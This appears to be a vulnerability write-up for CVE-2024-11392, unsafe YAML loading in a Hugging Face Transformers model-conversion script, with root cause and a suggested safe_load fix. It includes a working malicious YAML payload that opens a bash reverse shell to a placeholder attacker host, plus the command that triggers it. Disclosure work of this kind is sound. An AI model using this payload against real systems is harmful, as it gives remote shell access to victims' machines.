piyush-bhor/cve-2024-11392Technical Details and Exploit for CVE-2024-11392
High-level overview and effects of the vulnerability:
The vulnerability allows an attacker to execute arbitrary code on the host machine by supplying a malicious configuration file to the convert_mlcvnets_to_pytorch.py script in the Hugging Face Transformers repository.
If an unsuspecting user uses a third-party model accompanied by a malicious configuration file, executing the convert_mlcvnets_to_pytorch.py script will lead to remote code execution (RCE) on the victim's system.
The Vulnerable Product
Root Cause Analysis
Detailed description of the vulnerability: The vulnerability results from unsafe deserialization of untrusted data. The script uses yaml.load function with the loader - , which loads the full YAML language and is vulnerable to code execution.
FullLoaderCode flow from input to the vulnerable condition:
ml-cvnet model alongside its configuration file.convert_mlcvnets_to_pytorch.py script and passes the configuration file to it.convert_mlcvnets_to_pytorch.py script deserializes the configuration file and executes the malicious code.Injection point: The vulnerability occurs at the point where yaml.load(yaml_file, Loader=yaml.FullLoader) is called.
GitHub Permalink: https://github.com/huggingface/transformers/blob/bdb9106f247fca48a71eb384be25dbbd29b065a8/src/transformers/models/mobilevitv2/convert_mlcvnets_to_pytorch.py#L57
Suggested fixes: Replace yaml.load(yaml_file, Loader=yaml.FullLoader) with yaml.safe_load(yaml_file) to prevent the execution of arbitrary code.
Instructions executing the proof-of-concept:
transformers_exploit.yaml that will open a reverse shell on the victim's system:!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1')"
convert_mlcvnets_to_pytorch.py script and pass the transformers_exploit.yaml file to --orig_config_path:> python convert_mlcvnets_to_pytorch.py --orig_checkpoint_path dummy_checkpoint.pt --orig_config_path transformers_exploit.yaml --pytorch_dump_folder_path dummy_output --task imagenet1k_256
Note: The dummy_checkpoint.pt can be left as an empty file, dummy_output as an empty directory , and task as any of the options mentioned in the script.
Software Download Link: https://github.com/huggingface/transformers/tree/main